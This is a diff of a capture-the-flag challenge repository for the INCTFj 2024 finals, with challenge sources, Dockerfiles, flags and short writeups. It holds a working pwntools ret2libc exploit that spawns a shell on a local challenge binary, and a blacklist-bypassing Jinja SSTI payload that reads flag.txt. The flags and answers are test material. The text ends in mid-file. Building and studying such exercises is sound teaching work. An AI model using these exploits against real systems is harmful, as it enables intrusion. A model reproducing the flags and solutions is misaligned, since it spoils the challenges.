+inctfj{y0u_c4n7_ch4nge_7he_w0rld_w17h0ut_g3771ng_y0ur_h4nd5_d1r7y_9gdf8hkl}
+
+### Author
+
+**SkyLance**
\ No newline at end of file
diff --git a/Pwn/Medium-woogie-woogie/admin/- b/Pwn/Medium-woogie-woogie/admin/-
new file mode 100644
index 0000000..1279fe0
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/admin/-
@@ -0,0 +1 @@
+inctfj{y0u_c4n7_ch4nge_7he_w0rld_w17h0ut_g3771ng_y0ur_h4nd5_d1r7y_9gdf8hkl}
\ No newline at end of file
diff --git a/Pwn/Medium-woogie-woogie/admin/exp.py b/Pwn/Medium-woogie-woogie/admin/exp.py
new file mode 100644
index 0000000..0b1cb42
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/admin/exp.py
@@ -0,0 +1,74 @@
+from pwn import *
+from icecream import ic
+
+elf = exe = ELF("./woogie-woogie")
+libc = ELF("./libc.so.6")
+ld = ELF("./ld-linux-x86-64.so.2")
+
+context.binary = exe
+context.log_level = "debug"
+context.aslr = True
+
+def start(argv=[], *a, **kw):
+ '''Start the exploit against the target.'''
+ sys.argv += ' '
+ if sys.argv[1] == 'r':
+ args.REMOTE = True
+ elif sys.argv[1] == 'd':
+ args.GDB = True
+
+ if args.REMOTE:
+ return remote("localhost", 1337)
+ if args.GDB:
+ return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+ else:
+ return process([exe.path] + argv, *a, **kw)
+
+gdbscript = '''
+b *0x0000000000401533
+c
+'''.format(**locals())
+
+def sl(a): return io.sendline(a)
+def s(a): return io.send(a)
+def sa(a, b): return io.sendafter(a, b)
+def sla(a, b): return io.sendlineafter(a, b)
+def re(a): return io.recv(a)
+def ru(a): return io.recvuntil(a)
+def rl(): return io.recvline()
+def i(): return io.interactive()
+
+io = start()
+
+ru("Option:")
+sl(b'1')
+
+ret = 0x000000000040101a
+pop_rdi = 0x00000000004011be
+
+payload = b'a'*40
+payload += p64(pop_rdi)
+payload += p64(elf.got['puts'])
+payload += p64(elf.plt['puts'])
+payload += p64(elf.sym['main'])
+
+ru("But would YOU win?")
+sl(payload)
+ru("can't win..")
+leak = u64(re(6)+b'\x00\x00')
+ic(hex(leak))
+libc.address = leak - 0x77980
+binsh = libc.address + 0x196031
+
+payload = b'a'*40
+payload += p64(pop_rdi)
+payload += p64(binsh)
+payload += p64(ret)
+payload += p64(libc.symbols['system'])
+
+ru("Option:")
+sl(b'1')
+ru("But would YOU win?")
+sl(payload)
+
+i()
diff --git a/Pwn/Medium-woogie-woogie/admin/ld-linux-x86-64.so.2 b/Pwn/Medium-woogie-woogie/admin/ld-linux-x86-64.so.2
new file mode 100644
index 0000000..c3cb027
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/admin/ld-linux-x86-64.so.2 differ
diff --git a/Pwn/Medium-woogie-woogie/admin/libc.so.6 b/Pwn/Medium-woogie-woogie/admin/libc.so.6
new file mode 100644
index 0000000..8943986
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/admin/libc.so.6 differ
diff --git a/Pwn/Medium-woogie-woogie/admin/woogie-woogie b/Pwn/Medium-woogie-woogie/admin/woogie-woogie
new file mode 100644
index 0000000..5f5dff2
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/admin/woogie-woogie differ
diff --git a/Pwn/Medium-woogie-woogie/deployment/- b/Pwn/Medium-woogie-woogie/deployment/-
new file mode 100644
index 0000000..1279fe0
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/deployment/-
@@ -0,0 +1 @@
+inctfj{y0u_c4n7_ch4nge_7he_w0rld_w17h0ut_g3771ng_y0ur_h4nd5_d1r7y_9gdf8hkl}
\ No newline at end of file
diff --git a/Pwn/Medium-woogie-woogie/deployment/Dockerfile b/Pwn/Medium-woogie-woogie/deployment/Dockerfile
new file mode 100644
index 0000000..fcb9f1b
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/deployment/Dockerfile
@@ -0,0 +1,24 @@
+FROM ubuntu:22.04
+
+RUN export TERM="xterm-256color"
+
+RUN apt-get -y update && \
+ apt-get -y upgrade
+
+RUN useradd -m ctf
+RUN echo "ctf:ctf" | chpasswd
+WORKDIR /home/ctf
+
+COPY woogie-woogie .
+COPY almost.txt .
+COPY ynetd .
+COPY - .
+COPY ld-linux-x86-64.so.2 .
+COPY libc.so.6 .
+
+RUN chown -R root:root /home/ctf
+RUN chmod -R 555 /home/ctf
+
+USER ctf
+EXPOSE 1338
+CMD ./ynetd -p 1338 ./woogie-woogie
diff --git a/Pwn/Medium-woogie-woogie/deployment/almost.txt b/Pwn/Medium-woogie-woogie/deployment/almost.txt
new file mode 100644
index 0000000..cee8a04
--- /dev/null
+++ b/Pwn/Medium-woogie-woogie/deployment/almost.txt
@@ -0,0 +1,2 @@
+The flag is in "-"
+Have you won?
diff --git a/Pwn/Medium-woogie-woogie/deployment/ld-linux-x86-64.so.2 b/Pwn/Medium-woogie-woogie/deployment/ld-linux-x86-64.so.2
new file mode 100644
index 0000000..c3cb027
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/deployment/ld-linux-x86-64.so.2 differ
diff --git a/Pwn/Medium-woogie-woogie/deployment/libc.so.6 b/Pwn/Medium-woogie-woogie/deployment/libc.so.6
new file mode 100644
index 0000000..8943986
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/deployment/libc.so.6 differ
diff --git a/Pwn/Medium-woogie-woogie/deployment/woogie-woogie b/Pwn/Medium-woogie-woogie/deployment/woogie-woogie
new file mode 100644
index 0000000..5f5dff2
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/deployment/woogie-woogie differ
diff --git a/Pwn/Medium-woogie-woogie/deployment/ynetd b/Pwn/Medium-woogie-woogie/deployment/ynetd
new file mode 100644
index 0000000..0b1b2b0
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/deployment/ynetd differ
diff --git a/Pwn/Medium-woogie-woogie/handout/woogie-woogie.zip b/Pwn/Medium-woogie-woogie/handout/woogie-woogie.zip
new file mode 100644
index 0000000..7ab7b54
Binary files /dev/null and b/Pwn/Medium-woogie-woogie/handout/woogie-woogie.zip differ
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..c76a011
--- /dev/null
+++ b/README.md
@@ -0,0 +1,2 @@
+# INCTFj_Finals24
+Challenge repo for inctfj onsite finals
diff --git a/Rev/Easy/README.md b/Rev/Easy/README.md
new file mode 100644
index 0000000..5510596
--- /dev/null
+++ b/Rev/Easy/README.md
@@ -0,0 +1,15 @@
+# ezX0r
+
+### Challenge Description
+Mr.X0r has made it so that you can only get the flag if you run the program on "1735835350" second after January 1, 1970. So make sure you run the binary at that time.
+
+### Short Writeup
+- So this challenge gets time since Jan 1,1970. using the time module in c
+- Uses that said time as a seed for rand()
+- Iterates through each character of the flag while xoring it with the output of rand() & 0xff(which can be recreated since we are using a seed) and stores that xor'ed value in file called enc_flag.txt
+
+### Flag
+inctfj{Mr.X0r_5a1d_x0r_1s_sUper}
+
+# Author
+0xea22
\ No newline at end of file
diff --git a/Rev/Easy/handout/chall b/Rev/Easy/handout/chall
new file mode 100644
index 0000000..bece94d
Binary files /dev/null and b/Rev/Easy/handout/chall differ
diff --git a/Rev/Easy/handout/enc_flag.txt b/Rev/Easy/handout/enc_flag.txt
new file mode 100644
index 0000000..2f41ed5
--- /dev/null
+++ b/Rev/Easy/handout/enc_flag.txt
@@ -0,0 +1 @@
+B4B831E43F7BE2B1FAA47D5C8E9EC4FC3F8189A7C2B84A33FFED3CAB1ED50136
\ No newline at end of file
diff --git a/Rev/Easy/src/chall.c b/Rev/Easy/src/chall.c
new file mode 100644
index 0000000..6082564
--- /dev/null
+++ b/Rev/Easy/src/chall.c
@@ -0,0 +1,35 @@
+#include
+#include
+#include
+
+void enc(char *flag,int long seed) {
+ srand(seed);
+ for (int i=0; i<0x20;i++) {
+ flag[i] = flag[i] ^ (rand() & 0xff);
+ }
+}
+
+void main(){
+ char flag[0x21];
+ FILE *a = fopen("flag.txt","r");
+ if (a==NULL){
+ printf("Bruhh!, you have no flag.txt\n");
+ exit(0);
+ }
+ fgets(flag,0x21,a);
+ fclose(a);
+
+ int long tim;
+ time(&tim);
+ printf("Time: %ld\n",tim);
+
+ FILE *enc_flag = fopen("enc_flag.txt","w");
+
+ enc(flag, tim);
+ char hex[3];
+ for (int j=0; j< 0x20; j++) {
+ fprintf(enc_flag, "%02X",flag[j]&0xff);
+ }
+
+}
+
diff --git a/Rev/Easy/src/dec.c b/Rev/Easy/src/dec.c
new file mode 100644
index 0000000..98a0a39
--- /dev/null
+++ b/Rev/Easy/src/dec.c
@@ -0,0 +1,27 @@
+#include
+#include
+#include
+#include
+
+void main () {
+ FILE *enc_f=fopen("enc_flag.txt","r");
+ if (enc_f == NULL) {
+ printf("no file \n");
+ }
+ int tim;
+ printf("TIME:");
+ scanf("%d",&tim);
+ srand(tim);
+
+ char hex[3];
+ int hd;
+ for (int i =0; i<64; i=i+2) {
+ fgets(hex,3,enc_f);
+ //printf("%s ",hex);
+ hd = (int) strtol(hex,NULL,16);
+ hd = hd ^ (rand() & 0xff)&0xff;
+ printf("%c",hd);
+
+ }
+ printf("\n");
+}
\ No newline at end of file
diff --git a/Rev/Easy/src/flag.txt b/Rev/Easy/src/flag.txt
new file mode 100644
index 0000000..6243434
--- /dev/null
+++ b/Rev/Easy/src/flag.txt
@@ -0,0 +1 @@
+inctfj{Mr.X0r_5a1d_x0r_1s_sUper}
\ No newline at end of file
diff --git a/Rev/Hard/README.md b/Rev/Hard/README.md
new file mode 100644
index 0000000..b4cf90e
--- /dev/null
+++ b/Rev/Hard/README.md
@@ -0,0 +1,17 @@
+# weird server
+
+### Challenge Description
+There was a breach at bi0s recently, and all we were able to recover was this weird file and a packet capture that one of our forensics agents kept running. Can you combine the knowledge from both to figure what it was doing?
+
+### Short Writeup
+- The `client` file makes a connection to `172.23.85.106:1337`
+- The server (if it exists) is expected to return a byte buffer
+- This byte buffer is decrypted on the client side and the client checks to see if the string "inctfj{}" exists in said buffer
+- If yes, it prints a "success" message. Else, nothing happens
+- A .pcap file is also provided to give players the encrypted buffer they need to decrypt
+
+### Flag
+inctfj{well_well_well_looks_like_someone_is_getting_good_at_rev! :)}
+
+# Author
+the.m3chanic
\ No newline at end of file
diff --git a/Rev/Hard/handout/capture.pcap b/Rev/Hard/handout/capture.pcap
new file mode 100644
index 0000000..ef45068
Binary files /dev/null and b/Rev/Hard/handout/capture.pcap differ
diff --git a/Rev/Hard/handout/client b/Rev/Hard/handout/client
new file mode 100644
index 0000000..62a312e
Binary files /dev/null and b/Rev/Hard/handout/client differ
diff --git a/Rev/Hard/src/client.c b/Rev/Hard/src/client.c
new file mode 100644
index 0000000..664d9e1
--- /dev/null
+++ b/Rev/Hard/src/client.c
@@ -0,0 +1,129 @@
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define BUFFER_SIZE 68 // Fixed buffer size
+#define VERIFY_PREFIX "inctfj{"
+#define VERIFY_SUFFIX "}"
+
+void swap_halves(char *buffer, size_t len) {
+ size_t half_len = len / 2;
+ for (size_t i = 0; i < half_len; i++) {
+ char temp = buffer[i];
+ buffer[i] = buffer[i + half_len];
+ buffer[i + half_len] = temp;
+ }
+}
+
+void xor_decrypt(char *buffer, size_t len) {
+ const unsigned char xor_values[] = {0x2A, 0x39, 0x45, 0x77, 0x59};
+ size_t xor_values_count = sizeof(xor_values) / sizeof(xor_values[0]);
+
+ for (size_t i = 0; i < len; i++) {
+ buffer[i] ^= xor_values[i % xor_values_count];
+ }
+}
+
+void reverse_buffer(char *buffer, size_t len) {
+ for (size_t i = 0; i < len / 2; i++) {
+ char temp = buffer[i];
+ buffer[i] = buffer[len - i - 1];
+ buffer[len - i - 1] = temp;
+ }
+}
+
+int decrypt_data(char *buffer, size_t len) {
+ if (len != BUFFER_SIZE) {
+ fprintf(stderr, "Invalid buffer length for decryption\n");
+ return 0; // Failure
+ }
+
+ // Step 1: Swap halves of the buffer
+ swap_halves(buffer, len);
+
+ // Step 2: XOR decrypt based on index
+ xor_decrypt(buffer, len);
+
+ // Step 3: Reverse the buffer
+ reverse_buffer(buffer, len);
+
+ // Step 4: Check for "inctfj{" and "}" in the decrypted buffer
+ if (strstr(buffer, VERIFY_PREFIX) && strchr(buffer, VERIFY_SUFFIX[0])) {
+ return 1; // Success
+ } else {
+ return 0; // Failure
+ }
+}
+
+int main() {
+ const char server_ip[] = {'1', '7', '2', '.', '2', '3', '.', '8', '5', '.', '1', '0', '6', '\x00'};
+ const int server_port = 1337;
+
+ int sock;
+ struct sockaddr_in server_addr;
+ char buffer[BUFFER_SIZE];
+ ssize_t received_bytes;
+ const char message[] = {'H', 'e', 'l', 'l', 'o', ' ', 'C', '2', ' ', 's', 'e', 'r', 'v', 'e', 'r', ',', ' ', 'I', 'n', 'C', 'T', 'F', 'j', ' ', 'p', 'a', 'r', 't', 'i', 'c', 'i', 'p', 'a', 'n', 't', ' ', 'h', 'e', 'r', 'e', '\n', '\x00'};
+
+ // Create the socket
+ sock = socket(AF_INET, SOCK_STREAM, 0);
+ if (sock < 0) {
+ // perror("Socket creation failed");
+ exit(EXIT_FAILURE);
+ }
+
+ // Configure server address
+ server_addr.sin_family = AF_INET;
+ server_addr.sin_port = htons(server_port);
+ if (inet_pton(AF_INET, server_ip, &server_addr.sin_addr) <= 0) {
+ // perror("Invalid address/ Address not supported");
+ close(sock);
+ exit(EXIT_FAILURE);
+ }
+
+ // Connect to the server
+ if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
+ // perror("Connection failed");
+ close(sock);
+ exit(EXIT_FAILURE);
+ }
+
+ // printf("Connected to %s:%d\n", server_ip, server_port);
+
+ // Send message to the server
+ if (send(sock, message, strlen(message), 0) < 0) {
+ // perror("Sending message failed");
+ close(sock);
+ exit(EXIT_FAILURE);
+ }
+ // printf("Message sent: %s\n", message);
+
+ // Receive data from the server
+ received_bytes = recv(sock, buffer, BUFFER_SIZE, 0);
+ if (received_bytes < 0) {
+ // perror("Receiving failed");
+ close(sock);
+ exit(EXIT_FAILURE);
+ }
+
+ if (received_bytes != BUFFER_SIZE) {
+ // fprintf(stderr, "Unexpected buffer size received: %zd\n", received_bytes);
+ close(sock);
+ exit(EXIT_FAILURE);
+ }
+
+ // Decrypt and verify the data
+ if (decrypt_data(buffer, BUFFER_SIZE)) {
+ printf("Decryption successful! Valid data received.\n");
+ } else {
+ fprintf(stderr, "Decryption failed. Invalid data received.\n");
+ }
+
+ // Close the socket
+ close(sock);
+
+ return 0;
+}
diff --git a/Rev/Hard/src/flag.txt b/Rev/Hard/src/flag.txt
new file mode 100644
index 0000000..e9481bd
--- /dev/null
+++ b/Rev/Hard/src/flag.txt
@@ -0,0 +1 @@
+inctfj{well_well_well_looks_like_someone_is_getting_good_at_rev! :)}
diff --git a/Rev/Medium-1/README.md b/Rev/Medium-1/README.md
new file mode 100644
index 0000000..e5a4731
--- /dev/null
+++ b/Rev/Medium-1/README.md
@@ -0,0 +1,19 @@
+# Challenge Name
+`debug_me`
+
+### Challenge Description
+
+I always feel like someone's watching me
+
+### Short Writeup
+
++ Find the Ptrace
++ Patch ptrace, get flag
+
+### Flag
+
+`inctfj{ma5s1v3_l0w_t4per_f4d3}`
+
+### Author
+
+**Chee-tzu**
diff --git a/Rev/Medium-1/handout/debug_me b/Rev/Medium-1/handout/debug_me
new file mode 100644
index 0000000..b0bf3c6
Binary files /dev/null and b/Rev/Medium-1/handout/debug_me differ
diff --git a/Rev/Medium-1/src/debug_me.c b/Rev/Medium-1/src/debug_me.c
new file mode 100644
index 0000000..ad33f00
--- /dev/null
+++ b/Rev/Medium-1/src/debug_me.c
@@ -0,0 +1,131 @@
+#include
+#include
+#include
+#include
+#include
+
+// AES key and IV
+static unsigned char key[16] = {
+ 0x01, 0x12, 0x23, 0x33, 0x44, 0x55, 0x66, 0x77,
+ 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff
+};
+
+static const unsigned char iv[16] = {
+ 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 11, 22, 33, 44, 55
+};
+
+// Encrypted flag
+static const unsigned char ciphertext[] = {
+ 0x83,
+ 0x5a,
+ 0x88,
+ 0xa9,
+ 0x08,
+ 0x36,
+ 0xbf,
+ 0xaf,
+ 0x7d,
+ 0xb6,
+ 0x3d,
+ 0x00,
+ 0xd2,
+ 0xd3,
+ 0x84,
+ 0x66,
+ 0x8a,
+ 0x6d,
+ 0x85,
+ 0x02,
+ 0x87,
+ 0xf7,
+ 0x15,
+ 0xe6,
+ 0xb8,
+ 0x33,
+ 0x9d,
+ 0x21,
+ 0xcd,
+ 0xf7,
+ 0x87,
+ 0x0a
+};
+
+void handleErrors() {
+ fprintf(stderr, "An error occurred\n");
+ exit(1);
+}
+
+// AES decryption function
+int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
+ unsigned char *iv, unsigned char *plaintext, int value) {
+ EVP_CIPHER_CTX *ctx;
+ int len;
+ int plaintext_len;
+
+
+ if (!(ctx = EVP_CIPHER_CTX_new()))
+ handleErrors();
+
+ if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1)
+ handleErrors();
+
+ if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1)
+ handleErrors();
+ plaintext_len = len;
+
+ if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1)
+ handleErrors();
+ plaintext_len += len;
+
+ EVP_CIPHER_CTX_free(ctx);
+ return plaintext_len;
+}
+
+void anti_debug_ptrace() {
+ if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
+ printf("Debugger detected. Exiting!\n");
+ exit(0);
+ }
+}
+
+int sussy_debug() {
+ return (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1);
+}
+
+void decrypt_flag(int val) {
+ if (val == 208) {
+ for(int i = 0; i< 3; i++)
+ {
+ key[i] = key[i] -1;
+ }
+ }
+ else if (val == 176)
+ {
+ for(int i = 0; i< 3; i++)
+ {
+ key[i] = key[i] + 1;
+ }
+ }
+ unsigned char decryptedtext[128];
+ int decryptedtext_len;
+
+ decryptedtext_len = decrypt((unsigned char *)ciphertext, sizeof(ciphertext),
+ (unsigned char *)key, (unsigned char *)iv, decryptedtext, val);
+
+
+ decryptedtext[decryptedtext_len] = '\0';
+
+}
+
+int main() {
+ anti_debug_ptrace();
+ printf("Debugging check in progress...\n");
+
+ int val = sussy_debug() ? 208 : 176;
+
+ printf("Decrypting the flag...\n");
+ decrypt_flag(val);
+
+ printf("Flag has been generated.\nBye!\n");
+ return 0;
+}
diff --git a/Rev/Medium-1/src/flag.txt b/Rev/Medium-1/src/flag.txt
new file mode 100644
index 0000000..f70b130
--- /dev/null
+++ b/Rev/Medium-1/src/flag.txt
@@ -0,0 +1 @@
+inctfj{ma5s1v3_l0w_t4per_f4d3}
diff --git a/Rev/Medium-2/README.md b/Rev/Medium-2/README.md
new file mode 100644
index 0000000..82f3d8a
--- /dev/null
+++ b/Rev/Medium-2/README.md
@@ -0,0 +1,20 @@
+# The glade
+
+### Challenge Description
+
+free yourself from this abstract maze
+
+
+### Short Writeup
+
++ 8x8 maze with each box having 4 values of either 0 or 1. (left up down right)
++ Plot the maze, figure out the moves and input the string
++ String serves as the key for rc4 decryption which retrieves the flag
++ dsdsdwdsdwddssaasddssasawwassawwawwaass
+
+### Flag
+
+inctfj{easy?lets_get_you_a_3d_maze_now}
+
+### Author
+sourD
\ No newline at end of file
diff --git a/Rev/Medium-2/handout/glade b/Rev/Medium-2/handout/glade
new file mode 100644
index 0000000..8a20df4
Binary files /dev/null and b/Rev/Medium-2/handout/glade differ
diff --git a/Rev/Medium-2/src/challl.c b/Rev/Medium-2/src/challl.c
new file mode 100644
index 0000000..d1de04d
--- /dev/null
+++ b/Rev/Medium-2/src/challl.c
@@ -0,0 +1,115 @@
+#include
+#include
+
+void win(unsigned char* ciphertext, long dataLen, unsigned char* key, long keyLen, unsigned char* plaintext) {
+ unsigned char T[256];
+ unsigned char S[256];
+ unsigned char temp; // Temporary variable for swapping
+ int i = 0, j = 0, t = 0;
+
+ // Step 1: Initialize S and T
+ for (i = 0; i < 256; i++) {
+ S[i] = i;
+ T[i] = key[i % keyLen];
+ }
+
+ // Step 2: Perform the key-scheduling algorithm (KSA)
+ j = 0;
+ for (i = 0; i < 256; i++) {
+ j = (j + S[i] + T[i]) % 256;
+
+ // Swap S[i] and S[j]
+ temp = S[i];
+ S[i] = S[j];
+ S[j] = temp;
+ }
+
+ // Step 3: Decrypt the ciphertext using the pseudo-random generation algorithm (PRGA)
+ i = 0;
+ j = 0;
+ for (long x = 0; x < dataLen; x++) {
+ i = (i + 1) % 256;
+ j = (j + S[i]) % 256;
+
+ // Swap S[i] and S[j]
+ temp = S[i];
+ S[i] = S[j];
+ S[j] = temp;
+
+ t = (S[i] + S[j]) % 256;
+
+ // XOR the ciphertext byte with the generated keystream byte
+ plaintext[x] = ciphertext[x] ^ S[t];
+ }
+}
+
+int main() {
+ // Flag as an array of bytes
+ unsigned char flag[40] = {
+ 0x09, 0x66, 0x72, 0xB6, 0x2B, 0x25, 0x56, 0xE1, 0x1F, 0x23, 0x88, 0x70, 0xB0, 0x41, 0x8A, 0x78, 0x87, 0x14, 0x10, 0xA9, 0x2A, 0x4A, 0x78, 0xDE, 0xA4, 0x74, 0xAF, 0x10, 0xA6, 0xFE, 0xE8, 0x02, 0xCC, 0xF6, 0x8D, 0x3F, 0x41, 0x47, 0xB2
+ };
+
+ unsigned char decryptedFlag[40]; // Decrypted flag
+ int maze[256] = {
+ 0,0,0,1, 1,0,1,0, 0,0,1,1, 1,0,0,0, 0,0,0,1, 1,0,1,0, 0,0,1,1, 1,0,0,0,
+ 1,0,1,1, 1,1,0,1, 1,1,1,0, 0,0,1,1, 1,0,1,0, 0,1,1,1, 1,1,0,1, 1,0,1,0,
+ 0,1,0,0, 0,0,1,0, 0,1,0,1, 1,1,0,0, 0,1,0,1, 1,1,0,1, 1,0,0,0 ,0,1,1,0,
+ 0,0,1,1, 1,1,0,1, 1,0,1,0, 0,0,1,1, 1,0,0,0, 0,0,1,1, 1,0,0,1, 1,1,0,0,
+ 0,1,1,0, 0,0,0,1, 1,1,1,1, 1,1,0,0, 0,0,1,0, 0,1,0,1, 1,0,0,1, 1,0,1,0,
+ 1,1,0,0, 0,0,1,1, 1,1,0,1, 1,0,1,0, 0,1,1,1, 1,0,1,1, 1,0,0,0, 0,1,1,0,
+ 0,0,1,1, 1,1,0,0, 0,0,1,1, 1,1,1,0, 0,1,1,0, 0,1,1,0, 0,0,1,1, 1,1,1,0,
+ 0,1,0,0, 0,0,0,1, 1,1,0,0, 0,1,0,1, 1,1,0,0, 0,1,0,1, 1,1,0,0, 0,1,0,0,
+ };
+
+ int box = 0;
+
+ // Input movement string
+ char moves[100];
+ printf("Enter the moves (w/s/a/d): ");
+ scanf("%s", moves);
+
+ if (strlen(moves) != 39) {
+ printf("you're stuck\n");
+ return 1; // Exit if the input length is not 39
+ }
+
+ // Process each move
+ for (int i = 0; i < strlen(moves); i++) {
+ char move = moves[i];
+ int base = box * 4;
+ int valid = 0;
+
+ // Check movement validity
+ if (move == 'd' && maze[base + 3] == 1 && (box % 8 != 7)) {
+ box++;
+ valid = 1;
+ } else if (move == 'a' && maze[base + 0] == 1 && (box % 8 != 0)) {
+ box--;
+ valid = 1;
+ } else if (move == 's' && maze[base + 2] == 1 && (box < 56)) {
+ box += 8;
+ valid = 1;
+ } else if (move == 'w' && maze[base + 1] == 1 && (box >= 8)) {
+ box -= 8;
+ valid = 1;
+ }
+
+ // If move is invalid, print dead end and exit
+ if (!valid) {
+ printf("You've reached a dead end\n");
+ return 1;
+ }
+ }
+
+ // Use the user's movement string as the key for RC4 decryption
+ win(flag, strlen(flag), (unsigned char*)moves, strlen(moves), decryptedFlag);
+
+ // Output the decrypted flag
+ printf("You're out, here's your flag: ");
+ for (int i = 0; i < strlen(flag); i++) {
+ printf("%c", decryptedFlag[i]);
+ }
+ printf("\n");
+
+ return 0;
+}
diff --git a/Rev/Medium-2/src/flag.txt b/Rev/Medium-2/src/flag.txt
new file mode 100644
index 0000000..4c2307c
--- /dev/null
+++ b/Rev/Medium-2/src/flag.txt
@@ -0,0 +1 @@
+inctfj{easy?lets_get_you_a_3d_maze_now}
diff --git a/Web/dessert_diaries/README.md b/Web/dessert_diaries/README.md
new file mode 100644
index 0000000..e7b117e
--- /dev/null
+++ b/Web/dessert_diaries/README.md
@@ -0,0 +1,12 @@
+# Challenge Name: Dessert Diaries
+
+## Description
+
+Stumbled upon a site with all my favorite dessert recipes! Can I sneak a peek at the treats?
+
+### Flag
+`inctfj{sSt1_t0_w1n_th3_bl0g??}`
+
+### Author
+
+**h3ri0s**
\ No newline at end of file
diff --git a/Web/dessert_diaries/admin/exploit/writeup.md b/Web/dessert_diaries/admin/exploit/writeup.md
new file mode 100644
index 0000000..c54f2b1
--- /dev/null
+++ b/Web/dessert_diaries/admin/exploit/writeup.md
@@ -0,0 +1,10 @@
+**Challenge Name**: Dessert Diaries
+
+# Writeup
+In this challenge we can find there is a `Share recipe` form at the end of the page . whatever name we provide is being reflected. hence trying `{{7*7}}` confirms the presence of SSTI.
+However, common payloads like `__class__` are blocked due to blacklists. Therefore, we can use the `url_for` payload or `request` payload
+
+
+Payload: `{{url_for['__gl'+'obals__']['__buil'+'tins__']['op'+'en']('./flag.txt')['re'+'ad']()}}`
+
+Flag: `inctfj{sSt1_t0_w1n_th3_bl0g??}`
diff --git a/Web/dessert_diaries/deployment/Dockerfile b/Web/dessert_diaries/deployment/Dockerfile
new file mode 100644
index 0000000..825d1c7
--- /dev/null
+++ b/Web/dessert_diaries/deployment/Dockerfile
@@ -0,0 +1,6 @@
+FROM python:3-alpine3.15
+WORKDIR /app
+COPY . /app
+RUN pip install -r requirements.txt
+CMD ["sh","-c","python ./main.py"]
+
diff --git a/Web/dessert_diaries/deployment/flag.txt b/Web/dessert_diaries/deployment/flag.txt
new file mode 100644
index 0000000..74bdefd
--- /dev/null
+++ b/Web/dessert_diaries/deployment/flag.txt
@@ -0,0 +1 @@
+inctfj{sSt1_t0_w1n_th3_bl0g??}
\ No newline at end of file
diff --git a/Web/dessert_diaries/deployment/main.py b/Web/dessert_diaries/deployment/main.py
new file mode 100644
index 0000000..60a6f87
--- /dev/null
+++ b/Web/dessert_diaries/deployment/main.py
@@ -0,0 +1,176 @@
+from flask import Flask, render_template, request, redirect, url_for,render_template_string
+
+app = Flask(__name__)
+
+
+@app.route('/', methods=['GET', 'POST'])
+def index():
+ return render_template('homepage.html')
+
+@app.route("/recipe/")
+def recipe(recipe_name):
+ recipe_data = {
+ "jalebi": {
+ "ingredients": [
+ "2 cups all-purpose flour",
+ "1/2 cup yogurt",
+ "1 cup sugar",
+ "1/2 cup water",
+ "A pinch of saffron",
+ "Oil for frying",
+ ],
+ "instructions": [
+ "Prepare the batter by mixing flour, yogurt, and water to form a smooth paste. Let it ferment for 4-5 hours.",
+ "Heat oil in a pan for frying.",
+ "Fill the batter into a piping bag or squeeze bottle.",
+ "Pipe spiral shapes directly into the hot oil and fry until golden.",
+ "Prepare sugar syrup with water, sugar, and saffron. Heat until slightly sticky.",
+ "Dip the fried jilebis in the warm sugar syrup for a few seconds and serve hot.",
+ ],
+ "description": "Jilebi is a popular Indian sweet made of deep-fried batter soaked in saffron-flavored sugar syrup. It's a crispy, juicy delight often enjoyed during festivals and celebrations.",
+ },
+ "macaron": {
+ "ingredients": [
+ "1 cup almond flour",
+ "1 3/4 cups powdered sugar",
+ "3 egg whites",
+ "1/4 cup granulated sugar",
+ "Food coloring (optional)",
+ "Buttercream or ganache for filling",
+ ],
+ "instructions": [
+ "Preheat the oven to 300°F (150°C).",
+ "Sift almond flour and powdered sugar together.",
+ "Whisk egg whites until soft peaks form, then gradually add granulated sugar until stiff peaks form.",
+ "Fold the dry ingredients into the egg whites gently.",
+ "Add food coloring if desired, and pipe small circles onto parchment paper.",
+ "Let the macarons sit for 30 minutes to form a skin, then bake for 15-20 minutes.",
+ "Cool completely and sandwich with buttercream or ganache filling.",
+ ],
+ "description": "Macarons are delicate and sweet French cookies made with almond flour and filled with a variety of delicious creams or ganaches. They're a treat for both the eyes and the taste buds!",
+ },
+ "doughnut": {
+ "ingredients": [
+ "3 1/4 cups all-purpose flour",
+ "2 tsp yeast",
+ "1/2 cup milk",
+ "1/4 cup sugar",
+ "2 eggs",
+ "1/4 cup butter",
+ "Oil for frying",
+ "Powdered sugar or glaze for topping",
+ ],
+ "instructions": [
+ "Activate the yeast in warm milk with a pinch of sugar.",
+ "Mix the activated yeast with flour, sugar, eggs, and butter to form a dough. Let it rise for 1 hour.",
+ "Roll out the dough and cut into doughnut shapes.",
+ "Heat oil in a pan and fry the doughnuts until golden brown.",
+ "Dust with powdered sugar or dip in glaze before serving.",
+ ],
+ "description": "Doughnuts are soft, fluffy, deep-fried treats that come in a variety of flavors. Perfect for a sweet snack or a breakfast indulgence!",
+ },
+ "croissant": {
+ "ingredients": [
+ "4 cups all-purpose flour",
+ "1/4 cup sugar",
+ "2 tsp salt",
+ "2 1/4 tsp yeast",
+ "1 1/4 cups milk",
+ "2 sticks butter (cold)",
+ "1 egg (for egg wash)",
+ ],
+ "instructions": [
+ "Prepare the dough by mixing flour, sugar, salt, yeast, and milk. Let it rest for 30 minutes.",
+ "Roll out the dough, place cold butter in the center, and fold it over. Chill for 30 minutes.",
+ "Roll out and fold the dough several times to create layers. Chill between each fold.",
